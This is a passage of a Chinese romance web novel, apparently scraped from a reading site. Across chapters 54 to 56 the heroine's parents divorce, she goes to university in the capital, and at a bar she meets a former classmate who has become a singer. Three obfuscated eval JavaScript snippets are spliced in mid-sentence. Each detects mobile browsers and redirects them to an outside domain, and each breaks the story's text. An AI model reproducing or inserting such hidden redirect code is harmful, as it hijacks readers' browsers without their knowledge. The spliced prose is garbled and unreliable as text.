辛东福在外面忙得脚不沾地,吴咏梅也在亲戚朋友的圈子里出足了风头,几乎所有人都在向她请教如何培养出一个省状元。 夫妻俩难得和睦了几天,但是很快他们又吵起来了。 这次争吵的主题是辛蕴的去向问题。 辛东福想让辛蕴出国留学,就像他那些朋友的小孩一样,去国外镀层金回来,以后接触的圈层都会不一样。 但吴咏梅不同意,她认为以辛蕴的成绩完全可以在国内读顶尖大学的顶尖专业,何必跑到那么远的地方吃苦?再说了,现在电视新闻里不总是说国外不安全吗?她就辛蕴这么一个女儿,万一要在国外出了什么事,她还要不要活了? 夫妻俩谁都不能说服谁,争得面红脖子粗。 辛东福骂吴咏梅目光短浅没见识,吴咏梅骂辛东福挣了几个钱就不知道东南西北了。 最后还是由辛蕴自己拍板定案。 “我要去京大读书。”她说。 京大是位于帝都的顶级学府,他们学校的招生办主任前两天特地来了南城市一趟,劝说辛蕴去读他们学校,并且给出了相当优厚的条件。 辛蕴自己拿了主意,辛东福也不能多说什么。不知道是不是出于愧疚,在辛蕴这个女儿面前,他总是没什么底气,有种直不起腰板的感觉。 是的,辛东福对辛蕴有愧疚,但他对吴咏梅这个陪他一路走过来的妻子却没什么愧疚的感觉。两人相爱相杀、互相折磨了这么多年,早就没什么感情了。之所以不离婚,完全是顾虑到辛蕴。 现在辛蕴已经考完了,辛东福没了顾虑,再次向吴咏梅提出离婚。 出乎他的意料,这次吴咏梅答应得很痛快。 辛蕴的录取通知书还没发下来,吴咏梅和辛东福的离婚证已经拿到手了。 辛东福把一中附近的这套大平层留给了吴咏梅,又给她分了一笔钱。 吴咏梅的态度从始至终都十分冷漠,没有流过一滴眼泪。 那天辛东福回来搬东西,拎着行李箱快要出门的时候他突然觉得有些心酸,想要流几滴眼泪,可转头看见吴咏梅脸上那冷漠的神情,只好把眼泪硬生生地憋了回去。 他搓了搓自己的脸,把辛蕴拉到一旁,低声说:“蕴蕴,你非要跟你妈妈,爸爸也不强求你。但是你放心,我和你妈虽然离婚了,但我还是你爸爸,以后你有事就过来找我。” 辛蕴把脸转过去,并不看他。 辛东福叹了一口气,沉默片刻,说:“是爸爸对不起你。”说完,他拎着行李箱转身离开。 辛蕴站在原地,直到关门的声音响起,她才转头去看。 直到这一刻,她好像才彻底意识到辛东福已经彻底退出了这个家。 以后她再也不能和自己的爸爸妈妈在同一张餐桌上吃饭了。 那一刻,一些软弱的情绪突然攻破了辛蕴的心防,她突然有些想哭。 辛蕴本来以为自己应该扮演保护者的角色,她应该坚强、应该淡定,应该装作无事发生,要照顾、安慰离婚后的吴咏梅,支撑起这个只有她们两个人的小家。 可是那天是吴咏梅走过来抱住了她的肩膀。 “蕴蕴,没关系,以后的日子,咱们娘俩也能过。”吴咏梅的声音和儿时记忆中的一样温暖。 辛蕴用力地点点头。 她闭上眼睛,像小时候那样趴在吴咏梅的肩膀上哭出声来。 - 十八岁那年,辛蕴一个人背着书包,拎着行李箱,从南到北,跨越一千多公里到帝都去上大学。 在京大的日子比辛蕴想象中的还要忙碌。 以前高中班上的老师总是跟他们说“到了大学就好了,大学很轻松,一天就两三节课,到时候你们想怎么玩就怎么玩,根本没人管你们”。 现在辛蕴才知道这些不过只是高中老师们给他们画的大饼。 大学生活并没有很轻松,至少在京大的生活一点都不轻松。 辛蕴读的是金融专业,每天的课程表都排得满满的,加上她还参加了学生会和一些其他的社团,每天除了上课之外,她还要抽空参加各种社团活动,杂七杂八的事情加在一起,比高中的时候也轻松不到哪里去。 在高中的时候,她只要按部就班地努力就行了,可是在大学里,总是有很多的不确定性,这种不确定性带来了很多压力,她要学会自己给自己安排一切、排解压力。 不过上大学也是有好处的——辛蕴在这里认识了一些新的朋友,她们之间相处得很融洽,经常会在周末约着一起出去逛街。 京大所在的那一片有很多高校,附近有一条很有名的酒吧街。 今天室友曾倩过生日,几个室友一边化妆一边商量着待会儿要挑一家气氛好的酒吧给她庆祝生日。 “我知道有一家,里面气氛特别high!还有帅哥驻唱!酒水也好喝!上次我姐们带我去过!”陈姗姗是帝都本地人,平时咋咋呼呼的,但性格很好,她是寝室里的“百事通”,帝都哪条胡同里藏着什么好吃的好玩的,直接问她准行。 “光我们几个女生去喝酒会不会有些干巴啊,要不要叫几个男生一起?” “可以啊,那我们都把男朋友叫出来一起?” “叫男朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832075|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友,那我们小蕴蕴怎么办?” 几个人笑嘻嘻地看过来,揶揄道:“我们小蕴蕴这不还待字闺中嘛?” “要不今天就在酒吧里给她现找一个吧?” “我看行!老曾,今天你是寿星,到时候这事就交给你了!看到帅哥你就冲上去要微信!” “没问题,包在我身上!” 辛蕴举双手投降,语气有些无奈,说:“不是说过生日吗?怎么又说到我头上了?你们带你们的男朋友,不用管我。” 正说着话,对面宿舍的一个女生过来敲门,挤眉弄眼地冲着辛蕴笑,说:“辛蕴,外面有人找你。” 没顾得上去想对方有些打趣意味的表情,辛蕴赶紧站了起来,刚好借这个理由逃出了寝室。 她走出寝室楼,目光在周围扫了一圈,没看到什么熟悉的身影。 现在是夜里八点多,女生宿舍楼下站着好几对小情侣,有的浓情蜜意地牵着手迟迟不舍得放开,有的站在路灯下含情脉脉地对视着,还有胆子大点的站在阴影处抱着彼此,两个脑袋凑在一切,不停变换方向,看得人脸红耳赤。 非礼勿视,辛蕴赶紧挪开视线,正要转头绕到另一边去看看。 “辛蕴。” 身后突然传来了一个声音。 她回头去看,看到了一张熟悉的脸。 “潘青昀?”辛蕴瞪大了眼睛,有些意外。 潘青昀走到她跟前,笑着说:“好久不见啊,大学霸。” 潘青昀和辛蕴一样,也考到了帝都的大学,不过他那所学校在帝都的郊区,两人之间距离得有些远。 大一刚开学那段时间,潘青昀来京大找过辛蕴几次,不过辛蕴那时候忙得不可开交,没什么功夫招待他,后来他就不怎么过来了,两人偶尔在微信上交流几句。 辛蕴没想到今天潘青昀竟然会突然来找她。 “你来找我有事吗?”她看着他问。 潘青昀挠挠脑袋,说:“今天和同学进城一趟,刚好路过你们学校,就想着来看看你。” 他今天穿着一件白T,头发也明显打理过,看起来清爽帅气,路过的几个女生都在偷偷打量他。 辛蕴正要开口说点什么。 旁边的阳台上的窗户被推开,辛蕴宿舍的几个女孩子挤作一堆,你推我,我推你,笑嘻嘻地看着楼下的两人。 陈姗姗的脸率先探了出来,表情夸张:“哟!真是个帅哥啊!” 其他几个人的声音也紧接着传了过来。 “好啊!辛蕴,你在哪里认识的帅哥?瞒得我们好苦啊!” “你们俩别吵,人家两个人在聊天呢!别打扰他们!” 面对几个女孩的揶揄打趣,潘青昀似乎也有些不好意思,他仰头冲她们笑了笑,露出了一口标志性的白牙。 曾倩探出脑袋,冲他道:“帅哥!今天我过生日!咱们一起去喝酒呗!” 听到这话,潘青昀似乎有些不知道该怎么回答,目光带着询问看向了站在他对面的辛蕴。 辛蕴无奈地看着阳台上的几个室友,一转头对上潘青昀期待的眼神,她抿抿嘴,只能开口说:“今天我室友生日,你待会儿要不要跟我们一起出去玩?” 潘青昀扬起嘴角,眼尾弯弯,说:“好。” 55. 第 55 章 晚上九点多,酒吧街上正是最热闹的时候。 空气里飘着仲夏夜的甜美气息,擦肩而过的都是年轻的俊男美女,沿街的窗户里飘来混乱又动感的音乐节奏。 陈姗姗带着几个人穿梭在灯红酒绿的街道上,来到了一家门头很大的酒吧前面。 辛蕴的目光上移落在那块“Silence”的招牌上,又转而看向招牌下涌动的人头。 这家酒吧的生意很不错,入口前面排起了一条长龙,打扮精致时髦的年轻男女正在排队依次过安检入场。 陈姗姗招呼着大家赶紧过去排队。 辛蕴挤在人群中间,慢慢向前挪动。 鼻尖充斥着各种味道的香水,人群身上散发出的热度和酒吧里飘出来的冷气混杂在一起,躁动又兴奋。 排了大概十几分钟,轮到她了。 “伸手。”工作人员说。 辛蕴有些疑惑,她听话地伸出手,就见那个工作人员用一个类似印章的东西在她手背上摁了一下。 “好了。”他说。 “这是什么?”辛蕴问。 那个工作人员冲她笑得有些暧昧,说:“你的心动印章,进我们店的每个人手上都有。” 心动印章?那是什么? 辛蕴被人群推着向前,她借着走廊里的灯光看了一下自己的手背,那块皮肤上干干净净,并没有发现什么特别的东西。 辛蕴猜想这应该是这家酒吧的某种营销噱头,她没有多想,跟在陈姗姗身后走进了酒吧。 今天一共八个人,四男四女。 他们提前定了一个台,围坐在沙发上,一边看着台上的表演,一边喝酒玩游戏。 除了辛蕴和潘青昀这一对,剩下的三对都是情侣关系,其他几个人少不了要拿他们两个人开玩笑。 尤其是陈姗姗和曾倩,她们俩一唱一和,一会儿让潘青昀帮辛蕴喝罚酒,一会儿让辛蕴帮潘青昀拿纸巾,一会儿又借着玩真心话大冒险问潘青昀有没有女朋友,问他的择偶标准是什么。 “没什么特别的标准吧,我喜欢就行。”不知道是不是喝了酒的原因,还是因为被起哄有些害羞,潘青昀的脸上泛着可疑的红,他转头看了坐在旁边的辛蕴一眼,继续说:“我要是喜欢上一个人,她就是我所有的标准。” 这话一出,其他人瞬间尖叫起来。 “哟~” “天呐天呐!磕到了!” 陈姗姗激动得拼命去怼辛蕴的胳膊,说:“蕴蕴,你也说点什么啊!” “是啊,蕴蕴,你不说点什么表示一下吗?”曾倩跟着起哄。 卡座上的其他几个人也都一齐望着辛蕴。 在众人揶揄打趣的目光中,辛蕴站了起来,说:“我去下卫生间。” “哎,别走啊。” “你酒还没喝完呢。” 辛蕴只当是没听到。 他们订的这个卡座离卫生间有些远,要穿过一整个大厅。 辛蕴刚才喝了不少酒,此刻已经有些晕晕乎乎,她小心翼翼地避开人群,沿着指示牌找到了洗手间。 从洗手间出来,她对着镜子补了一下口红,看着镜中那张妆容精致的脸发呆。 辛蕴做题厉害,学什么东西都很快,唯独在化妆这一块,却像是少根筋,怎么学都学不会。 今天这个妆还是曾倩帮她化的。 刚才一番折腾,她的眼妆已经有些花了,睫毛膏在她眼下卧蚕的位置晕开一点淡淡的黑色阴影。 辛蕴也不在意,抽出一张纸巾,随意地擦了擦。 她走出洗手间,往卡座的方向走。 走到一半才发现方向好像有些不对。 因为酒精的作用,辛蕴的脑子现在转得有些慢,完全不记得他们的卡座号。 她站在那里,环视了一圈周围。 此刻舞台上正在表演动感的舞蹈节目,除了舞台上还亮着光,周围的一切灯光都灭了。 大厅里黑漆漆的,只有众人的尖叫声和口哨声海浪一般涌了过来。偶尔一束射灯扫过,辛蕴看到每个卡座上的男男女女好像都长着同样一张脸。 她绕了几个圈,正要去找吧台那边的服务员问一下。 一转身,目光却在某一处倏然凝滞—— 她看见了一个熟悉的身影,他正在和旁边的男人交谈着,一束蓝色的镭射束光扫过,照亮了他侧脸起伏的线条。 那张侧脸,辛蕴曾经趴在课桌上偷偷看过无数次。 她呆呆地站在那里,整个人像是被什么东西狠狠击中了,完全没有办法思考其他任何东西。 或许是酒精给了她足够的勇气,辛蕴顾不上许多,脚步不受控制地朝那边走去。 随着舞台上的节奏和韵律,酒吧里的光线忽明忽暗。辛蕴踩着有些虚浮的脚步,朝那个身影的方向走去。 沿途偶尔撞到了人和椅子,她也顾不上许多,匆忙留下一句“抱歉”。 越靠近舞台,鼓点的震动声越强烈,像是有人拿着鼓槌在她心脏上一下一下地猛烈敲击。 “喂。”她伸手去拍那人的肩。 那人回过头。 普普通通的一张脸。 没有印象中那张脸万分之一的惊艳, 辛蕴一愣,后退几步。 “对不起,我认错人了。”她喃喃道。 对方却因为她的表情生出几分好奇和兴趣来,目光上下扫了一眼,笑着说:“没事,小妹妹,要和我们一起喝一杯吗?” 辛蕴几乎有些反胃,她转身逃也似的走了。 铺天盖地的音浪席卷而来,她站在大厅里,耳边是几乎要把人心脏震穿的鼓点声,辛蕴突然觉得这里的空气闷得厉害,让她喘不上来气。 辛蕴像是一条快要窒息的鱼,盯着头顶出口的指示牌,一路小跑出了酒吧。 已经是六月末,帝都白天的温度接近四十度,整个城市就像是一个巨大的蒸笼,比起白天的酷辣,帝都夏天的夜晚却显得格外温柔,风吹在脸上,像是温柔的抚慰。 辛蕴靠在身后的墙上,大口大口地呼吸着夏夜炙热的空气。 眼角余光突然瞥到自己手上有什么东西正发着光。 她疑惑地抬起手,看到了自己手背上有一个发着亮光的爱心图案。 辛蕴想起来刚才进门的时候工作人员给她盖的那个“心动印章”。 原来还会发光。 应该是用了什么夜光材料做成的印章,刚印上去的时候看不见,等过一会儿灯光暗下来了才能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832076|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到图案。 也算是个小巧思。 辛蕴没有管太多,她想起来自己出来已经有些久了,应该要给其他人发个消息。 她低头在身上找了一通,才发现自己的手机落在了卡座上的包里。 正要折回去。 身后却传来了一个熟悉又陌生的声音。 “嗯,我知道了。” 听到那个声音的一瞬间,辛蕴顿住脚步,愣愣地转头去看。 不远处的马路牙子边坐着一个人。 他一手拿着啤酒罐一手拿着手机,正低头讲着电话,他的坐姿懒懒散散,拿着啤酒罐的那只手无意识地轻轻晃着,看起来有几分落拓,电话那边不知道说了句什么,他扯了扯嘴角,露出一个无奈的笑,然后叹了一口气,仰头看着头顶的月亮。 “这件事我也没什么办法,桃姐那边我已经跟她聊过了,她说没得谈。”他说。 辛蕴站在那里,只觉得浑身的血液都在夏夜的晚风中渐渐沸腾,燃烧着她的躯壳,慢慢融化。 真的是他。 是邬蒙。 一年多不见,邬蒙似乎变了个人。 他的头发剃得很短,身上穿着一件宽松的黑色T恤,一年的时间,邬蒙似乎瘦了很多,脸上的线条愈发成熟凌厉,五官虽然还是和以前一样俊美,可是浑身上下的气质却大不相同,看起来似乎消沉颓唐了很多。 辛蕴的心跳得飞快。 当初她填报京大的时候其实内心深处也抱着一点幻想,她幻想两人以后在一个城市里生活,会不会有一天在城市的某个角落里偶遇,就像今天一样。她幻想过很多重逢时的浪漫场景。 可现在辛蕴才惊觉得自己的这场梦是如此的不真实。 即使重逢了又能怎么样呢? 这种罗曼蒂克的梦以后还是少做点才好,这样等到以后梦真的成真了,才不至于这样的手足无措。 辛蕴一瞬间酒醒了,她深吸一口气,强迫自己转身。 不知道为什么,那一刻,辛蕴突然想到了小时候看过的那个童话故事。 小美人鱼为了见到王子,将自己的鱼尾变成了人类的双腿,但她走的每一个步都像是踩在刀尖上。 辛蕴觉得自己此刻的每一步也像是踩在刀尖上,身体里的某处正鲜血淋漓。 唯一和童话不同的是——她们一个是勇敢地前进,一个则是懦弱地后撤。 辛蕴僵硬地挪动着步子,还没走出去几步。 迎面跑过来一个熟悉的身影,她一把抓着辛蕴,气喘吁吁地说:“辛蕴,你怎么跑到这里来了?” 陈姗姗双手叉腰,一边拍着胸口一边高声道:“我们找了你半天,还以为你喝醉了被人带走了!吓死我了!” 辛蕴的身体一僵,愣了一秒,回头去看—— 不远处,那人果然回头看了过来。 隔着帝都燥热的夏夜。 辛蕴看到了邬蒙眼里的意外和怔愣。 周围的整个世界似乎都静止了一秒。 他手中的那个啤酒罐被倏然捏紧,发出了“嘎吱”一声响。 辛蕴匆忙转过身用手挡住脸。黑夜里,她手背上的那个心形印章发着幽幽的绿光。 那光芒几乎要将她灼伤。 56. 第 56 章 陈姗姗没有注意到辛蕴的异常,她冲酒吧大门的方向拼命地招手,高声喊道:“我找到她了,她在这里!” 辛蕴来没来得及整理好脸上的表情,曾倩拉着她男朋友朝这边一路小跑了过来,后面还跟着脸色焦急的潘青昀。 “你怎么一个人跑出来了?”曾倩没好气地锤了一下辛蕴的肩膀,说:“我们差点吓死了,等了好久没看见你回来,还以为你被猥琐大叔拐走了!”说完,她还不忘揶揄两句:“你看看,把我们小潘同学都急疯了。” 潘青昀的胸口剧烈起伏着,看上去确实吓得不轻,见到辛蕴好端端地站在那里,他的脸色才总算好看一些,还没来得及说上一句话,注意到辛蕴脸上的表情有点不对劲,他似有感应般地转头看向了某个方向。 帝都夜晚的风很喧嚣。 看到不远处的那个身影,潘青昀愣在那里,一瞬间,脸色变得比刚才还要难看。 “你……邬蒙?你怎么在这里?”他几乎是脱口而出。 听到潘青昀这话,其他几个人好奇地朝那边看了过去。 邬蒙面色平静地站了起来,他拿起一顶黑色棒球帽扣在脑袋上,然后抬脚朝这边走来。“好久不见。”他的声音听起来没什么起伏。 话是对着潘青昀说的,眼神却落在旁边的辛蕴身上。 潘青昀飞快地看了一眼辛蕴,又转头看向对面的邬蒙,脸上挤出一个僵硬的笑,说:“好久不见。” 旁边的陈姗姗眼神很好,看到邬蒙帽檐下的小半张脸,她兴奋地睁大了眼睛,说:“天呐!你是邬蒙!你真的是邬蒙!那个乐队的主唱邬蒙吗?” 曾倩立马反应过来,捂住嘴巴小声尖叫:“邬蒙!我的天!你们……”她转头看向潘青昀,惊讶地问:“你们俩认识?” 潘青昀又看了旁边的辛蕴一眼,点点头,说:“我们是高中同学。” “天呐!天呐!竟然还有这回事?”曾倩语气夸张,激动地用手肘去怼辛蕴,问:“你跟小潘是同桌,这么说你不也是邬蒙的同学吗?以前怎么从来没有听你提过?” 曾倩很兴奋,下手有些没轻没重,辛蕴被她怼得几乎站不稳,身体不受控制地晃了两下,她勉强稳住身体,一颗心却摇摇欲坠,在夜风中飘忽不定。 邬蒙就站在对面,出于礼貌,辛蕴没有办法不去看他,她只能抬起头装作若无其事地和他对视。可一对上他的视线,她的脑子就像是一台卡住的机器,完全没有办法运转,根本不知道该说些什么。 大概是她沉默的时候有些长,邬蒙勾勾嘴唇,主动开口接过了话:“辛蕴同学在高中的时候就很优秀,我不常回学校,她可能对我的印象不深。” 这当然只是大明星的谦虚说辞,在场的其他几个人都笑了起来,曾倩正要开口继续说些什么。 “说起来……”邬蒙的目光落在辛蕴有些闪烁的眼睫上,顿了一下,弯弯嘴角,道:“其实我和辛蕴也做过同桌。不过……她可能忘记了。” 话一出口,周围静默了一秒钟。 “啊???”曾倩的眼睛因为惊讶瞪得更大了:“你们俩以前当过同桌?”最后两个字几乎有些破音。 陈姗姗也很意外,她转头看着辛蕴,开玩笑道:“我的天,你的同桌怎么都是大帅哥?你个死丫头命真好,成绩好命还好,简直无敌了。” 她这话其实说得诙谐,同时捧了三个人,但这三个人的表情都有些奇怪——两个男生的脸上都没有笑容,辛蕴倒是在微笑,只是她脸上的那个笑比哭还勉强。 好在外面天黑了光线不好,没有人注意到这个小细节。 陈姗姗看着邬蒙,大咧咧道:“你要不过来跟我们一起玩?我们开好台了。” 曾倩忙不迭地点头,热情邀请:“对啊对啊,你过来跟我们一起玩吧!大家都是老同学,一起叙叙旧嘛!” 邬蒙没拒绝也没点头,他的目光在曾倩的男朋友和潘青昀身上扫过,挑挑眉,用半开玩笑的语气说:“你们今天这是什么局?” 陈姗姗察觉到了邬蒙话语里的揶揄,冲他眨眨眼,用俏皮的语气回:“可以是联谊局哈哈。” 邬蒙转头瞥她一眼,扯了扯嘴角,又低头看着自己手里的那个空啤酒罐。 他手指用力收紧将那个啤酒罐捏扁,随手朝旁边的垃圾桶扔过去。 “哐当”一声,啤酒罐准确无误地落进了垃圾桶里。 在辛蕴微微失神的目光中,邬蒙姿态懒懒地抬手扶了扶帽檐,说:“不用了,我还有点事。”说完,他朝几人摆了摆手,算是打过招呼,然后转身离开。 他转身的那一瞬间,辛蕴脑中绷紧的那根弦倏然放松下来,她垂在身侧的手慢慢紧握成拳,这才察觉到自己的手心已潮湿一片。 旁边的陈姗姗和曾倩一直看着邬蒙的背影舍不得收回视线,颇有些意犹未尽的样子。 “我靠,明星就是帅啊,比手机屏幕里看到的帅多了。” “对啊,他鼻子好高啊,脸那么小,难怪能当明星。” 曾倩的男朋友一把扳过她的肩膀,带着她往里走,说:“我们进去吧,李月秋他们还在里面等我们呢。” 一行人这才转身朝酒吧里面走去。 邬蒙从出现到离开总共不过几分钟的时间,但那天晚上几人的话题就没离开过他。 哪怕是在音乐声几乎要把人震聋的酒吧里,几个女生还是兴致勃勃地凑在一起聊着邬蒙。 “他怎么会在这里?他这种大明星身边不应该有很多保镖吗?” “谁知道?人家大明星也需要放松一下吧。” “对了,邬蒙好像很小就进娱乐圈了,他以前在你们学校的时候是不是也很出名,他应该是你们学校的校草吧?” 辛蕴不知道是不是喝多了有些心不在焉,还是根本没有听到这个问题,她的目光一直看着舞台的方向,有些出神的模样。 潘青昀只能打起精神回其他几个女生:“哈哈,我也不太清楚,可能是吧。” “那你们班是不是有很多女生喜欢他?” 头顶的镭射灯光扫过卡座上方,潘青昀的那张帅脸在五颜六色的灯光下看起来有些僵硬和奇怪。 “不太清楚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832077|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像是。”他说。 …… 直到那天晚上回到宿舍,洗漱完躺在床上,其他三个女生还是一直在聊邬蒙。 “羡慕你们,竟然真的看到了邬蒙本人,早知道我就不留在那里看包了。”李月秋的语气听起来十分懊悔。“我以前读高中的时候可喜欢他了,今天要是能看见他本人那就真是圆满了。” 陈姗姗立马从床上坐起来,语气激动道:“我也是!我当时还全程追更那个综艺!那个综艺叫啥名来着?我忘了……反正邬蒙在那个综艺里简直帅炸了!” “我那个高中太坑了,是个寄宿学校,里面根本看不了手机和电视,我一个月只能回一次家,一次性攒好几期节目一起看!等回学校的时候我们几个女生再聚在一起讨论!晚自习之前一边偷偷听他的歌一边聊那个综艺。那个时候真好啊!”曾倩的话语里带着十足的怀念。 “话说回来,最近一年好像没怎么看到邬蒙的消息,我还以为他出国留学不在娱乐圈混了。” “是啊,你这么一说好像确实是这样,我很久都没看到邬蒙的新消息了,他那个乐队也一直没出来活动,之前说要出专辑现在也没动静了。要不是今天碰到了邬蒙本人,我都快忘记娱乐圈还有这号人物了。” “你们说他不会不当明星了吧?” “不知道,娱乐圈的事情谁说得清楚,搞不好人家在闭关修炼呢。” “也是哈哈。” “对了,辛蕴,你快说说看,邬蒙读高中的时候在学校里是什么样子的?他长得那么好看,弹吉他又那么帅,是不是有很多小女生都很喜欢他?他平时拽不拽?和舞台上一样拽吗?”李月秋明显还是对邬蒙的高中生活比较好奇,她一脸八卦地探出脑袋去看辛蕴的床位。 辛蕴的床帘拉得严严实实。 里面半天没有传出动静。 三个人等了半天,还是没声音。 李月秋和陈姗姗对视一眼,小声道:“辛蕴睡着了吧?” 曾倩点点头,说:“好像是,我看她后面坐在那里一声不吭地喝了好几杯酒,应该是喝醉了睡着了。” 现在已经凌晨两点多了,确实很晚了。 陈姗姗打了一个哈欠,把脑袋缩进床帘里,说:“睡吧睡吧,明天早上还有课呢。” 寝室里总算是安静了下来。 过一会儿,不知道是谁关了灯。 周遭陷入了一片寂静的黑暗中。 一点荧光在黑暗中闪烁了一下,很快又暗淡了下去。 辛蕴将身上的被子往上拉了拉,遮住了脑袋,整个人缩进被子里。 手机屏幕发着光,映亮了她那张因为醉酒有些微微发红的脸。 辛蕴盯着手机屏幕看了半天,一直没有动作。最后,像是下了很大决心,她在应用商店里重新下回了微博。 软件安装好,她点进去,看着熟悉的界面,突然有种恍若隔世的感觉。 时隔两年,辛蕴终于借着醉意再次在搜索框里打下了“邬蒙“两个字。 然而屏幕里跳出的来的内容却让她有些意外。